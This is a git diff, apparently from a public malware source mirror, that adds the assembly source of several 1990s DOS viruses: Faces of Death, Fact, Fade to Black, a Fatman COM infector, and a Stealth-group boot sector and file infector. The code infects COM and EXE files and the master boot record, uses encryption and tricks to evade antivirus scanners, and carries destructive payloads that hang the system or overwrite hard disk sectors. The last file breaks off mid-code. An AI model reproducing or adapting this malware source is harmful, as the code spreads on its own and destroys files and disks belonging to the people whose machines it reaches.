mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,246 @@
|
||||
; ------------------------------------------------------------------------------
|
||||
;
|
||||
; - Faces of Death -
|
||||
; Created by Immortal Riot's destructive development team
|
||||
; (c) 1994 The Unforgiven/Immortal Riot
|
||||
;
|
||||
; ------------------------------------------------------------------------------
|
||||
; þ Undetectable COM-infector(s) with a neat pay-load system! þ
|
||||
; ------------------------------------------------------------------------------
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
|
||||
first_gen_buffer db 00,00,00,00 ; for first generation only!
|
||||
|
||||
v_start:
|
||||
|
||||
entry_point:
|
||||
|
||||
mov sp,102h ; get the delta offset so tbscan cant
|
||||
call get_delta ; flag it as flexible entry point
|
||||
get_delta:
|
||||
mov bp,word ptr ds:[100h]
|
||||
mov sp,0fffeh
|
||||
sub bp,offset get_delta
|
||||
|
||||
|
||||
mov ax,0305h ; this code was included to avoid detection
|
||||
xor bx,bx ; from tbscan. The vsafe disabeling code can
|
||||
int 16h ; be used as well, but f-prot heuristics
|
||||
; complains about it.
|
||||
|
||||
call en_de_crypt ; decrypt the virus
|
||||
jmp short real_start ; and continue...
|
||||
|
||||
encrypt_value dw 0 ; random xor (encryption) value
|
||||
|
||||
write_virus:
|
||||
|
||||
call en_de_crypt ; write encrypted copy of the virus
|
||||
mov ah,40 ;
|
||||
mov cx,code_end-v_start ; # bytes
|
||||
lea dx,[bp+v_start] ; dx:100h
|
||||
int 21 ;
|
||||
call en_de_crypt ; decrypt virus again for further processing
|
||||
ret
|
||||
|
||||
en_de_crypt:
|
||||
|
||||
mov ax,word ptr [bp+encrypt_value]
|
||||
lea si,[bp+real_start]
|
||||
mov cx,(enc_end-real_start+1)/2
|
||||
|
||||
xor_loopie:
|
||||
|
||||
xor word ptr [si],ax ; encrypts two bytes/loop until all
|
||||
inc si ; code between real_start and enc_end
|
||||
inc si ; are encrypted
|
||||
loop xor_loopie
|
||||
ret
|
||||
|
||||
real_start:
|
||||
|
||||
cmp word ptr cs:[5dh],'?-' ; check for -? in the command line
|
||||
jne chk_cond ; no valid virus option!
|
||||
|
||||
mov ah,9 ; tell them that i wrote the virus,
|
||||
lea dx,[bp+offset v_name] ; and quit without infecting!
|
||||
int 21h
|
||||
int 20h
|
||||
|
||||
chk_cond:
|
||||
|
||||
mov ah,2ch ; get time of 1/100 of a second value from
|
||||
int 21h ; the system clock
|
||||
|
||||
cmp dl,58 ; value == 58h (88d)
|
||||
jne get_drive ; nope!
|
||||
|
||||
cr_file: ; value = 58h
|
||||
|
||||
mov ah,3ch ; create the file c:\dos\keyb.com
|
||||
mov cx,0 ; Doh! One byte wasted!
|
||||
lea dx,[bp+file_create]
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,40h ; write the
|
||||
mov cx,len ; 80hex virus,
|
||||
lea dx,[bp+write] ; from this virus
|
||||
int 21h ; to keyb.com
|
||||
|
||||
mov ah,3eh ; close file
|
||||
lea dx,[bp+offset file_create] ; c:\dos\keyb.com
|
||||
int 21h
|
||||
jmp $ ; and hang
|
||||
|
||||
get_drive:
|
||||
|
||||
mov ah,19h ; get drive from where we are executed from
|
||||
int 21h ; check if it's a: or b:
|
||||
cmp al,2 ; if so, return control to the original
|
||||
jb quit ; program without infecting other files
|
||||
|
||||
lea si,[bp+org_buf] ; copy the first four bytes of the file
|
||||
mov di,100 ; (from di:100h) to org_buf
|
||||
movsw ;
|
||||
movsw ;
|
||||
|
||||
lea dx,[bp+code_end] ; set our own dta to code_end, so
|
||||
call set_dta ; the paramters when findfiles arent
|
||||
; destroyed
|
||||
|
||||
lea dx,[bp+direct_infect] ; if present, infect
|
||||
call dirinfect ; \dos\edit.com
|
||||
|
||||
mov ah,4e ; search for com files
|
||||
lea dx,[bp+com_files] ;
|
||||
find_next:
|
||||
int 21
|
||||
|
||||
jc no_more_files ; no more files find, exit!
|
||||
call infect ; found a find, infect it!
|
||||
|
||||
mov ah,4f ; search next file
|
||||
jmp short find_next ; and see if we find one
|
||||
|
||||
no_more_files: ;
|
||||
mov dx,80 ; set the dta to 80h (default)
|
||||
call set_dta ;
|
||||
|
||||
quit: ;
|
||||
mov di,100 ; return control to original program
|
||||
push di ;
|
||||
ret
|
||||
|
||||
infect:
|
||||
lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our
|
||||
; new dta area!
|
||||
dirinfect:
|
||||
|
||||
mov ax,3d02 ; open file
|
||||
int 21 ; in read/write mode
|
||||
|
||||
jnc infect_it ; if the file \dos\edit.com doesnt exist
|
||||
ret ; return, and search first comfile
|
||||
|
||||
infect_it:
|
||||
xchg bx,ax ; filehandle in bx
|
||||
|
||||
mov ax,5700 ; get time/date
|
||||
int 21
|
||||
|
||||
push dx ; save date
|
||||
push cx ; save time
|
||||
|
||||
mov ah,3f ; read the first four bytes
|
||||
mov cx,4 ; of the file to org_buf
|
||||
lea dx,[bp+org_buf]
|
||||
int 21
|
||||
|
||||
cmp byte ptr [bp+org_buf+3],07h ; previous infected
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],9090h ; double nop
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file)
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file)
|
||||
jz finish_infect ;
|
||||
|
||||
cmp byte ptr [bp+org_buf+1],6Dh ; command.com
|
||||
jz finish_infect ;
|
||||
|
||||
mov ax, word ptr [bp+code_end+1ah] ; <1000 bytes
|
||||
cmp ax,1000d ;
|
||||
jb finish_infect
|
||||
|
||||
cmp ax,64000d ; >64000 bytes
|
||||
ja finish_infect ;
|
||||
|
||||
mov ax,4202 ; move file-pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd
|
||||
int 21
|
||||
|
||||
sub ax,3 ; substract bytes
|
||||
mov word ptr [bp+first_four+1],ax ; to our own jump
|
||||
|
||||
get_value:
|
||||
|
||||
mov ah,2ch ; get system clock for
|
||||
int 21h ; 1/100 of a second
|
||||
jz get_value ; if zero = get new value
|
||||
add ax,3 ; this will be used for
|
||||
mov word ptr [bp+encrypt_value],dx ; the xor-value
|
||||
call write_virus ; write virus to end of file
|
||||
|
||||
mov ax,4200 ; move file-pointer to
|
||||
xor cx,cx ; top of file
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40 ; write our own jump
|
||||
mov cx,4 ; instruction to the
|
||||
lea dx,[bp+first_four] ; beginning
|
||||
int 21
|
||||
|
||||
finish_infect:
|
||||
mov ax,5701 ; set back
|
||||
pop cx ; time
|
||||
pop dx ; date
|
||||
int 21 ;
|
||||
|
||||
mov ah,3e ; close file
|
||||
int 21
|
||||
|
||||
ret ; return and continue!
|
||||
|
||||
set_dta:
|
||||
mov ah,1a ; code to set the disk transfer area
|
||||
int 21 ;
|
||||
ret
|
||||
|
||||
v_name db "Faces of Death - (c) 1994 The Unforgiven/Immortal Riot$"
|
||||
|
||||
direct_infect db '\DOS\EDIT.COM',0
|
||||
file_create db 'c:\dos\keyb.com',0
|
||||
|
||||
write db "þJ€ÄNºJÍ!s´,Í!€úOr°¹
|
||||
endwrite:
|
||||
|
||||
len equ endwrite-write
|
||||
|
||||
com_files db '*.com',0
|
||||
first_four db 0e9,90,90,07 ; buffer to calculate the new entry
|
||||
org_buf db 90,90,0CDh,20 ; buffer to save the first four bytes
|
||||
enc_end:
|
||||
|
||||
code_end:
|
||||
end start
|
||||
@@ -0,0 +1,37 @@
|
||||
Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at
|
||||
load and/or execute program by overwriting the infected file.
|
||||
Compile Fact with Turbo Assembler v 4.0 by typing:
|
||||
TASM /M FACT.ASM
|
||||
TLINK /t /x FACT.OBJ
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
code_begin:
|
||||
mov ax,3521h ; Get interrupt vector 21h
|
||||
int 21h
|
||||
mov word ptr [int21_addr],bx
|
||||
mov word ptr [Int21_addr+02h],es
|
||||
mov ah,25h ; Set interrupt vector 21h
|
||||
lea dx,int21_virus ; DX = offset of int21_virus
|
||||
int 21h
|
||||
xchg ax,dx ; DX = number of bytes to keep res...
|
||||
int 27h ; Terminate and stay resident!
|
||||
int21_virus proc near ; Interrupt 21h of Fact
|
||||
cmp ah,4bh ; Load and/or execute program?
|
||||
jne int21_exit ; Not equal? Jump to int21_exit
|
||||
mov ax,3d01h ; Open file (write)
|
||||
int 21h
|
||||
xchg ax,bx ; BX = file handle
|
||||
push cs ; Save CS at stack
|
||||
pop ds ; Load DS from stack (CS)
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
int21_exit:
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
code_end:
|
||||
int21_addr dd ? ; Address of interrupt 21h
|
||||
virus_name db '[Fact]' ; Name of the virus
|
||||
endp
|
||||
end code_begin
|
||||
@@ -0,0 +1,343 @@
|
||||
; VirusName: Fade to Black
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 07-29-1993
|
||||
;
|
||||
; This is a mutation of Creeping Tormentor, whick was discovered
|
||||
; in Feb 1992. The origin is "unknown" (attention Patricica), it's
|
||||
; written in Sweden by Tormentor / Demoralized Youth
|
||||
; Many thanx goes to Tormentor for the original code.
|
||||
;
|
||||
; This is a Parasite, Resident, Appending COM-files infector.
|
||||
; Searches for the string sUMsDos (?) in memory.
|
||||
; search for Jerusalen, and if it's locate it, crash the HD.
|
||||
;
|
||||
; This will just fine, and
|
||||
; McAfee Scan v105 can't find it, and
|
||||
; S&S Toolkit 6.5 don't find it either.
|
||||
;
|
||||
; I haven't tried with scanners like Fprot/Tbscan,
|
||||
; but they will probably report some virus structure.
|
||||
;
|
||||
; Best Regards : [Metal Militia]
|
||||
; [The Unforgiven]
|
||||
|
||||
|
||||
code segment byte public
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
codebeg:
|
||||
|
||||
|
||||
mov ax,0700h ; Remove virus from code!
|
||||
int 21h ;^-- Scan string (before it was ax,043FFh)
|
||||
|
||||
; Let's allocate some mem!
|
||||
|
||||
mov ax,ds
|
||||
sub ax,11h
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0100h],5Ah
|
||||
jnz skip
|
||||
mov ax,ds:[0103h]
|
||||
sub ax,40h
|
||||
jb skip
|
||||
mov ds:[0103h],ax
|
||||
sub word ptr ds:[0112h],50h
|
||||
mov es,ds:[0112h]
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,code_end-codebeg
|
||||
mov di,100h
|
||||
push di
|
||||
mov si,di
|
||||
rep movsb
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax,351Ch
|
||||
int 21h
|
||||
mov word ptr ds:[int1Cret],bx
|
||||
mov word ptr ds:[int1Cret+2],es
|
||||
mov al,21h
|
||||
int 21h
|
||||
mov word ptr ds:[real21+1],bx
|
||||
mov word ptr ds:[real21+3],es
|
||||
|
||||
mov ah,25h
|
||||
mov dx,offset int21beg
|
||||
int 21h
|
||||
mov al,1Ch
|
||||
mov dx,offset int1Cnew
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
skip: int 20h
|
||||
|
||||
|
||||
int21beg: push ax
|
||||
sub ax,4B00h
|
||||
jz infect
|
||||
pop ax
|
||||
cmp ax,0700h ; Check if ....
|
||||
jne real21
|
||||
|
||||
mov ax,word ptr ds:[retdata]
|
||||
mov si,ax
|
||||
mov di,100h
|
||||
mov cx,code_end-codebeg
|
||||
rep movsb
|
||||
|
||||
mov ax,100h
|
||||
|
||||
pop cx
|
||||
pop cx
|
||||
push es
|
||||
push ax
|
||||
iret
|
||||
|
||||
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
|
||||
|
||||
|
||||
retdata: db 00h, 00h
|
||||
|
||||
f_time: dw 0000h
|
||||
|
||||
f_date: dw 0000h
|
||||
|
||||
infect: pop ax
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push si
|
||||
|
||||
|
||||
mov ah,43h ; Get file attr.
|
||||
int 21h
|
||||
mov ax,4301h
|
||||
and cx,0FEh ; Strip the Read-only-flag
|
||||
int 21h
|
||||
|
||||
mov ax,3D02h ; Open victim.
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
call sub_2
|
||||
|
||||
sub_2: mov di,sp ; God what I hate that Eskimo!
|
||||
mov si,ss:[di]
|
||||
inc sp
|
||||
inc sp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ; Get file's time and date
|
||||
int 21h
|
||||
mov [si-(sub_2-f_time)],cx
|
||||
mov [si-(sub_2-f_date)],dx ; And save them...
|
||||
|
||||
mov ah,3Fh ; Read X byte from begin.
|
||||
mov cx,code_end-codebeg
|
||||
add si,code_end-sub_2 ; SI points to EOF
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
|
||||
cmp word ptr [si],'MZ' ; Mark Zimbowski? (EXE?)
|
||||
je close
|
||||
cmp word ptr [si],'ZM' ; Zimbowski Mark? (EXE?)
|
||||
je close
|
||||
mark: cmp word ptr [si+(mark-codebeg+4)],'½¾' ; infected?
|
||||
je close
|
||||
|
||||
call put_eof ; move file ptr to EOF
|
||||
|
||||
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
|
||||
ja close
|
||||
cmp ax,code_end-codebeg+100h
|
||||
jb close
|
||||
|
||||
add ax,100h
|
||||
mov word ptr ds:[si-(code_end-retdata)],ax
|
||||
|
||||
mov ah,40h ; Flytta (move) beg to end.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ; fptr to filbeg.
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; Write virus to beg.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
sub dx,cx
|
||||
int 21h
|
||||
|
||||
close: mov ax,5701h
|
||||
mov cx,[si-(code_end-f_time)]
|
||||
mov dx,[si-(code_end-f_date)]
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ; close file, bx=file handle
|
||||
|
||||
pop si
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp real21
|
||||
|
||||
put_eof: mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
int1Cnew:
|
||||
|
||||
push ax
|
||||
inc byte ptr cs:[counter]
|
||||
mov al,30h
|
||||
cmp byte ptr cs:[counter],al
|
||||
jz scan
|
||||
pop ax
|
||||
|
||||
|
||||
quit: jmp dword ptr cs:[int1Cret]
|
||||
|
||||
scan:
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push es
|
||||
push si
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld
|
||||
xor bx,bx
|
||||
mov byte ptr cs:[counter],bh
|
||||
mov cx,0FA0h
|
||||
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
xor di,di
|
||||
|
||||
again: mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
repnz scasb
|
||||
jnz stick
|
||||
|
||||
maybe: inc di
|
||||
inc bx
|
||||
cmp bx,10d
|
||||
jz beep
|
||||
|
||||
mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
scasb
|
||||
jz maybe
|
||||
xor bx,bx
|
||||
jmp again
|
||||
|
||||
beep:
|
||||
xor cx,cx
|
||||
mov bx,word ptr cs:[int1Cret]
|
||||
mov es,word ptr cs:[int1Cret+2]
|
||||
mov ax,251Ch
|
||||
int 21h
|
||||
|
||||
overagain: mov dx,0180h
|
||||
xor bx,bx
|
||||
|
||||
reset: mov ah,00h
|
||||
inc bx
|
||||
cmp bl,5h
|
||||
jz raise
|
||||
inc cx
|
||||
int 13h
|
||||
|
||||
hoho: mov ax,0380h
|
||||
inc cx
|
||||
int 13h
|
||||
jc reset
|
||||
jmp hoho
|
||||
|
||||
raise: xor cx,cx
|
||||
xor bx,bx
|
||||
inc dx
|
||||
cmp dl,85h
|
||||
jnz hoho
|
||||
jmp overagain
|
||||
|
||||
stick:
|
||||
pop si
|
||||
pop es
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp quit
|
||||
|
||||
|
||||
counter: db 00h
|
||||
|
||||
text: db 's'+80h, 'U'+80h, 'M'+80h, 's'+80h, 'D'+80h, 'o'+80h
|
||||
db 's'+80h
|
||||
|
||||
; This is what it scans the screen for --^ sUMsDos
|
||||
; just a little bit cryptic eh ?
|
||||
|
||||
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
|
||||
|
||||
code_end: ; THE END.
|
||||
|
||||
; This isn't really a bullshit note, this is a Metallica Note ;)
|
||||
; which means quality! Metal Up Your Ass!
|
||||
|
||||
bullshit_note db "Metal Militia / Immortal Riot "
|
||||
DB "Fade To Black "
|
||||
DB "Things not what they used to be "
|
||||
DB "Missing one inside of me "
|
||||
DB "Deathly lost, this can't be real "
|
||||
DB "Cannot stand this hell I feel... "
|
||||
|
||||
code ends
|
||||
end codebeg
|
||||
|
||||
; Think that would be it..
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
code segment'code'
|
||||
assume cs:code, ds:code, ss:code, es:code
|
||||
org 100h
|
||||
dta equ endcode + 10
|
||||
fatmanid equ 34
|
||||
start:
|
||||
|
||||
jmp virus
|
||||
hoststart:
|
||||
db 90h,90h,90h ;NOP
|
||||
db 0cdh,020h,1ah,1ah ;INT 20
|
||||
hostend:
|
||||
virus:
|
||||
call $ + 2
|
||||
fatman:
|
||||
pop bp ;Search for next files
|
||||
sub bp,offset fatman
|
||||
mov ah,1ah
|
||||
lea dx,[bp +dta]
|
||||
int 21h
|
||||
mov ah,4eh
|
||||
lea dx,[bp + filespec]
|
||||
xor cx,cx
|
||||
fileloop:
|
||||
int 21h
|
||||
jc quit
|
||||
mov ax,3d02h ;Open file read and write
|
||||
lea dx,[bp + offset dta + 30] ;Move the offset of filename
|
||||
int 21h ;into dx register
|
||||
jc quit
|
||||
xchg bx,ax
|
||||
mov ah,3fh ;read from file
|
||||
mov cx,4 ;read 4 bytes off file
|
||||
lea dx,[bp + orgjmp] ;store the 4 bytes
|
||||
int 21h
|
||||
mov ax,4202h ;point to end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
sub ax,03h ;Back three bytes from org
|
||||
mov [bp + newjmp + 2], ah ;high location
|
||||
mov [bp + newjmp + 1], al ;low location
|
||||
mov [bp + newjmp + 3], fatmanid;his ID
|
||||
mov ah,0e9h ;JMP
|
||||
mov [bp + newjmp],ah
|
||||
mov ah,40h ;write to file
|
||||
mov cx,endcode - virus
|
||||
lea dx,[bp + virus]
|
||||
jc quit
|
||||
mov ax,4200h ;Moving to TOP of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h ;writing 4 bytes to top of file
|
||||
mov cx,4
|
||||
lea dx,[bp + offset newjmp]
|
||||
int 21h
|
||||
mov ah,1ah
|
||||
mov dx,080h
|
||||
int 21h
|
||||
quit:
|
||||
lea si,[bp + offset thisjmp]
|
||||
mov di,0100h
|
||||
mov cx,04h
|
||||
cld
|
||||
rep movsb
|
||||
mov di,0100h
|
||||
jmp di
|
||||
|
||||
|
||||
|
||||
|
||||
filespec db '*.COM',0
|
||||
orgjmp db 4 dup (?)
|
||||
newjmp db 4 dup (?)
|
||||
thisjmp db 4 dup (?)
|
||||
oldjmp db 09h,0cdh,020h,90h
|
||||
endcode:
|
||||
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,577 @@
|
||||
;
|
||||
; ÜÜ Û
|
||||
; ßßß Virus Magazine Û Box 176, Kiev 210, Ukraine IV 1997
|
||||
; ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß ÛßßßßßßÛ
|
||||
; ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ Ý Û ÜßÛ Û Üßß ÛÜÜ Û Û Û Û
|
||||
; Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û Û Û Û Û Û
|
||||
; Û Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ Û Û Û Û
|
||||
; Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÛÜÜÜÜÜÜÛ
|
||||
; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; MCE-Len*512
|
||||
; ‚¨àãá § à ¦ ¥â COM ¨ EXE ä ©«ë ¯à¨ ¨å á®§¤ ¨¨
|
||||
; (â®ç¥¥ ¯à¨ § ªàë⨨ ®¢®á®§¤ ®£® ä ©« ).
|
||||
; ’ ª¦¥ § à ¦ ¥âáï § £àã§®çë© á¥ªâ®à ¯¥à¢®£® «®£¨ç¥áª®£® ¤¨áª ¯¥à¢®¬
|
||||
; HD. (ï à¥è¨« ¥ ®¯à¥¤¥«ïâì ¤¥©á⢨⥫ìë© á¨áâ¥¬ë© ¤¨áª - «¥ì
|
||||
; ¢®§¨âìáï!!!)
|
||||
; ‚ ¯ ¬ïâì ¨áâ «¨à㥬áï ’Ž‹œŠŽ ¯à¨ ¯¥à¥§ £à㧪¥ ¬ è¨ë.
|
||||
; �ਠ§ ¯ã᪥ ¯à®£à ¬¬ë ä-樥© 4B00h ¢¨àãá «¥ç¨â § £àã§®çë© á¥ªâ®à.
|
||||
; �ਠ¨á¯®«¥¨¨ ä-樨 4Cxxh § £àã§®çë© á¥ªâ®à § à ¦ ¥âáï ᮢ !!!
|
||||
;
|
||||
; „ ë© â¥ªáâ ¥ ¯à®å®¤¨« ®¯â¨¬¨§ æ¨î...Sorry.
|
||||
;-------------------------------------------------------------------------
|
||||
.model tiny
|
||||
.code
|
||||
;-------------------------------------------------------------------------
|
||||
len equ 4 ; Len virus in sectors (include boot part)
|
||||
;////////////////////////////////////////////////////
|
||||
; Start BOOT part (installer for Dos part...)
|
||||
org 0
|
||||
;////////////////////////////////////////////////////
|
||||
BootStart:
|
||||
jmp BootCode
|
||||
;--------------------------------------------------------------
|
||||
BootData db 40h dup (0) ; Data for boot sector.
|
||||
;--------------------------------------------------------------
|
||||
BEEP:
|
||||
push ax
|
||||
mov ax,0e07h
|
||||
int 10h
|
||||
pop ax
|
||||
ret
|
||||
BootCode:
|
||||
nop
|
||||
nop
|
||||
cli
|
||||
xor di,di
|
||||
mov si,7C00h
|
||||
mov bx,si
|
||||
mov ds,di
|
||||
mov ss,di
|
||||
mov sp,si
|
||||
sti
|
||||
;
|
||||
int 12h
|
||||
sub ax,96 ; - 96 kb.
|
||||
mov cl,6
|
||||
shl ax,cl
|
||||
mov es,ax ; ES = segment for our body
|
||||
;
|
||||
cld
|
||||
mov cx,512
|
||||
rep movsb ; Transmit body
|
||||
;
|
||||
push ax
|
||||
mov ax,offset BootInstall
|
||||
push ax
|
||||
retf
|
||||
;-------------------------------------------------------------
|
||||
BootInstall:
|
||||
mov si,1Ch*4
|
||||
push si
|
||||
lea di,OldTimerAddr
|
||||
movsw
|
||||
movsw
|
||||
;
|
||||
cli
|
||||
pop di
|
||||
mov word ptr ds:[di],offset TimerManager
|
||||
mov word ptr ds:[di+2],es
|
||||
sti
|
||||
;
|
||||
push ds
|
||||
pop es
|
||||
mov ax,0201h
|
||||
mov cx,0009
|
||||
mov dx,0080h
|
||||
push es
|
||||
push bx
|
||||
int 13h
|
||||
retf
|
||||
;-------------------------------------------------------------
|
||||
OldTimerAddr dw 0,0
|
||||
;-------------------------------------------------------------
|
||||
TimerManager:
|
||||
push ds es ax bx di si
|
||||
;
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ds,ax
|
||||
;
|
||||
mov ax,ds:[(21h*4)+2]
|
||||
cmp ah,08
|
||||
ja ExitTimer
|
||||
mov cs:Seg21h,ax
|
||||
mov ax,ds:[21h*4]
|
||||
mov cs:Ofs21h,ax
|
||||
;
|
||||
mov word ptr ds:[21h*4],offset InstallDosManager
|
||||
mov ds:[(21h*4)+2],cs
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
lea si,OldTimerAddr
|
||||
mov di,1Ch*4
|
||||
cld
|
||||
movsw ; Return old timer procedure
|
||||
movsw
|
||||
ExitTimer:
|
||||
pop si di bx ax es ds
|
||||
iret
|
||||
;-------------------------------------------------------------
|
||||
InstallDosManager:
|
||||
cmp ax,4B00h
|
||||
jz FullInstall
|
||||
;
|
||||
OldDosManager:
|
||||
db 0EAh
|
||||
Ofs21h dw 0
|
||||
Seg21h dw 0
|
||||
;
|
||||
;---------------------------------------------------
|
||||
i21h:
|
||||
pushf
|
||||
call dword ptr cs:[offset Ofs21h]
|
||||
ret
|
||||
;---------------------------------------------------
|
||||
FullInstall:
|
||||
push ax bx cx dx si di es ds
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
;
|
||||
mov ah,48h
|
||||
mov bx,4096/16
|
||||
int 21h ; AX = Segment of new area for virus
|
||||
jc NoInstalled
|
||||
;
|
||||
mov es,ax
|
||||
xor si,si
|
||||
mov di,si
|
||||
;
|
||||
cld
|
||||
mov cx,512
|
||||
mov bx,cx
|
||||
rep movsb
|
||||
;
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[01],0070h ; MSDOS segment
|
||||
;
|
||||
mov ds,cx
|
||||
;
|
||||
mov ax,0204h ; Read 4 sectors (2 kb)
|
||||
mov cx,0010 ; (virus body - without current part)
|
||||
mov dx,0080h
|
||||
int 13h
|
||||
;
|
||||
mov word ptr ds:[21h*4],offset VirusDosManager
|
||||
mov ds:[(21h*4)+2],es
|
||||
;
|
||||
call BEEP ;*****************************<<<<<<<<<<
|
||||
;
|
||||
NoInstalled:
|
||||
pop ds es di si dx cx bx ax
|
||||
jmp OldDosManager
|
||||
;-------------------------------------------------------------
|
||||
org 510
|
||||
db 55h,0AAh ; 'Uª'
|
||||
;-------------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////////
|
||||
; Start Dos TSR file infector.
|
||||
org 512
|
||||
;/////////////////////////////////////////////////////////////
|
||||
VirusDosManager:
|
||||
cmp ax,0FFAAh ; Our copy call us
|
||||
jnz LookNextFun
|
||||
stc ; CY=1
|
||||
retf 2
|
||||
LookNextFun:
|
||||
cmp ah,4Ch
|
||||
jnz LookRunFun
|
||||
jmp ExitProg
|
||||
LookRunFun:
|
||||
cmp ax,4B00h
|
||||
jnz LookCREATE
|
||||
jmp RunProg
|
||||
LookCREATE:
|
||||
cmp cs:Fhandle,0 ; <>0 then file processed!!!
|
||||
jnz LookCloseOurFile
|
||||
;
|
||||
cmp ah,3Ch ; Create
|
||||
jz OurFun
|
||||
cmp ah,5Bh ; Create
|
||||
jz OurFun
|
||||
ExitVDM:
|
||||
jmp OldDosManager
|
||||
;-----------------------------------------------------
|
||||
LookCloseOurFile:
|
||||
cmp ah,3Eh ; Close
|
||||
jnz ExitVDM
|
||||
cmp cs:Fhandle,bx
|
||||
jnz ExitVDM
|
||||
jmp InfectClosedFile
|
||||
;-----------------------------------------------------
|
||||
OurFun:
|
||||
push ax si
|
||||
;
|
||||
cld
|
||||
mov si,dx
|
||||
LookNULL:
|
||||
lodsb
|
||||
cmp al,'.'
|
||||
jnz LookNULL
|
||||
lodsw
|
||||
;
|
||||
or ax,2020h ; ' '
|
||||
cmp ax,'xe' ; EXe
|
||||
jnz LookCOM
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'e' ; exE
|
||||
jnz NoOurEXT
|
||||
mov Ftype,1
|
||||
jmp GetHandle
|
||||
LookCOM:
|
||||
cmp ax,'oc' ; COm
|
||||
jnz NoOurEXT
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'m' ; coM
|
||||
jnz NoOurEXT
|
||||
mov Ftype,2
|
||||
GetHandle:
|
||||
mov si,dx
|
||||
push bp
|
||||
mov bp,dx
|
||||
LookTild:
|
||||
lodsb
|
||||
cmp al,0
|
||||
jz LookFileName
|
||||
cmp al,'\'
|
||||
jnz LookTild
|
||||
mov bp,si
|
||||
jmp LookTild
|
||||
LookFileName:
|
||||
mov si,bp
|
||||
pop bp
|
||||
lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'rd' ; DRweb
|
||||
jz NoOurEXT
|
||||
cmp ax,'ia' ; AIdstest
|
||||
jz NoOurEXT
|
||||
cmp ax,'da' ; ADinf
|
||||
jz NoOurEXT
|
||||
cmp ax,'sm' ; MScan
|
||||
jz NoOurEXT
|
||||
;
|
||||
pop si ax
|
||||
call i21h ; int 21h
|
||||
mov cs:Fhandle,ax
|
||||
